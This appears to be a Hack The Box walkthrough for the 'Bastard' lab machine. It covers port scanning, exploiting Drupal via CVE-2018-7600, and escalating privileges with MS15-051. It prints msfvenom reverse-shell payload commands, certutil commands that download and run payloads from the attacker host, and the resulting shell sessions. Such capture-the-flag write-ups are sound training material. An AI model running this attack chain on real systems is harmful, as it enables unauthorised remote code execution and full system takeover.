Details

This machine is Bastard from Hack The Box

Recon

Check for services

root@kali:~# nmap -sV -p- -T4 10.10.10.9
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-27 16:32 EDT
Nmap scan report for 10.10.10.9
Host is up (0.042s latency).
Not shown: 65532 filtered ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.78 seconds

User

So I started on the webserver at http://10.10.10.9/

See if it leaks the version http://10.10.10.9/CHANGELOG.txt

Its vulnerable to CVE-2018-7600

Note: This machine was actually released before this exploit was made public. Although this version was vulnerable to a similar RCE bug that was known at the time so I didn’t do it again

I used my exploit from https://raw.githubusercontent.com/Jack-Barradell/exploits/master/CVE-2018-7600/cve-2018-7600-drupal7.py

root@kali:~# python3 cve-2018-7600-drupal7.py -t 10.10.10.9 -c whoami
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: nt authority\iusr

So I generated a payload and hosted it with a python simple HTTP server. Sent it over to the target and ran it

root@kali:~# msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.11 LPORT=4444 -f exe > rev.exe

root@kali:~# python3 cve-2018-7600-drupal7.py -t 10.10.10.9 -c "mkdir C:\tmp"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result:

root@kali:~#  python3 cve-2018-7600-drupal7.py -t 10.10.10.9 -c "certutil.exe -urlcache -split -f http://10.10.14.11/rev.exe C:\tmp\rev.exe"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: ****  Online  ****
  0000  ...
  1c00
CertUtil: -URLCache command completed successfully.

root@kali:~# python3 cve-2018-7600-drupal7.py -t 10.10.10.9 -c "C:\tmp\rev.exe"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger

In my listener

[*] Sending stage (336 bytes) to 10.10.10.9
[*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.9:49219) at 2019-09-27 16:58:46 -0400

C:\inetpub\drupal-7.54>

Grab my flag

C:\Users\dimitris\Desktop>type user.txt
[REDACTED]

System

I checked the details of the machine out

C:\>systeminfo

Host Name:                 BASTARD
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00496-001-0001283-84782
Original Install Date:     18/3/2017, 7:04:46 ��
System Boot Time:          27/9/2019, 11:09:51 ��
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
                           [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 28/7/2017
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     2.047 MB
Available Physical Memory: 1.552 MB
Virtual Memory: Max Size:  4.095 MB
Virtual Memory: Available: 3.568 MB
Virtual Memory: In Use:    527 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.9

Previous experience made me try MS15-051, grabbed a copy and served it up

C:\tmp> certutil.exe -urlcache -split -f http://10.10.14.11/ms15-051x64.exe C:\tmp\ms15-051x64.exe

And tested it

C:\tmp>.\ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 244 created.
==============================
nt authority\system

So I can exec as system, but need a payload, so I generated a new shell and ran it

root@kali:~# msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.11 LPORT=5555 -f exe > rev2.exe

C:\tmp> certutil.exe -urlcache -split -f http://10.10.14.11/rev2.exe C:\tmp\rev2.exe

C:\tmp>.\ms15-051x64.exe .\rev2.exe

In the listener

[*] Started reverse TCP handler on 10.10.14.11:5555
[*] Sending stage (336 bytes) to 10.10.10.9
[*] Command shell session 1 opened (10.10.14.11:5555 -> 10.10.10.9:49236) at 2019-09-27 17:37:31 -0400

C:\tmp>

There’s a new shell

C:\tmp>whoami
nt authority\system

Grab my flag

C:\Users\Administrator\Desktop>type root.txt.txt
[REDACTED]